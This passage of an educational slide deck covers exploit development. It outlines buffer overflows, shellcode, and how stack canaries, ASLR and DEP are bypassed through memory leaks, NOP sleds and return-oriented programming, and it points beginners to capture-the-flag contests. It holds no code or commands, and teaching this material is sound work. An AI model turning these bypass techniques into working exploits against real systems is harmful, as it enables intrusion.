  • 26. Putting It Together ● Find a buffer overflow ● Find a way of exploiting it ● Fill some buffer with shellcode ● Use your overflow to jump to it
  • 27. It’s not that easy. ● Nowadays, operating systems are smarter than that ● Shellcode restrictions o No NULL bytes allowed o Only alphanumeric characters, etc ● Stack Canaries ● Address Space Layout Randomization ● Data Execution Prevention ● We can defeat all of these methods.
  • 28. Stack Canaries ● Essentially checksums ● Placed after a buffer o Overflowing the buffer will overwrite the canary o If the canary is wrong, handle the overflow ● Generated by the compiler. ● Use another exploit to leak memory o printf format string exploits for example
  • 29. ASLR ● At runtime, randomize the positions of important memory regions o The stack, the heap, data segment, etc ● Like stack canaries, need a memory leak to bypass o Leak the address of a buffer o Create a NOP-sled and guess o Plenty of techniques
  • 30. Data Execution Prevention ● Mark memory segments as either writable or executable o Never both! ● We can’t put our shellcode on the stack anymore. ● Use return-oriented programming
  • 31. Return-Oriented Programming ● Construct our payload entirely of “Gadgets” found in the existing codes o Sub-sequences of assembly found at the end of existing functions ● Chain them together by overwriting return addresses on the stack ● Always possible!*
  • 32. Nothing is Safe. ● Exploit development is hard. o Really hard. o Target architectures you’ve never used before o Fail cleanly to avoid detection ● But! o No protection is infallible o It’s fun. Like, really fun. More on this later.
  • 33. You Can (and should) do it! ● Capture the Flag - competitive hacking o The hackathons of security o There’s always one going on  CSAW is running right now, it’s for college students with no security experience ● Incredibly fun problems. o For example...
  • 34. Polyglot ● Write an exploit that will run on four machines o x86 o ARM Little-Endian o ARM Big-Endian o PowerPC ● Insane implications for the internet of things ● Read my talk on solving it with graph theory
  • 35. Getting Started ● Micro Corruption - a 20 problem CTF built by Square and Matasano Security for teaching exploit development ● Compete! Right now! Seriously, this weekend! o CSAW - You can solve some of these, I promise.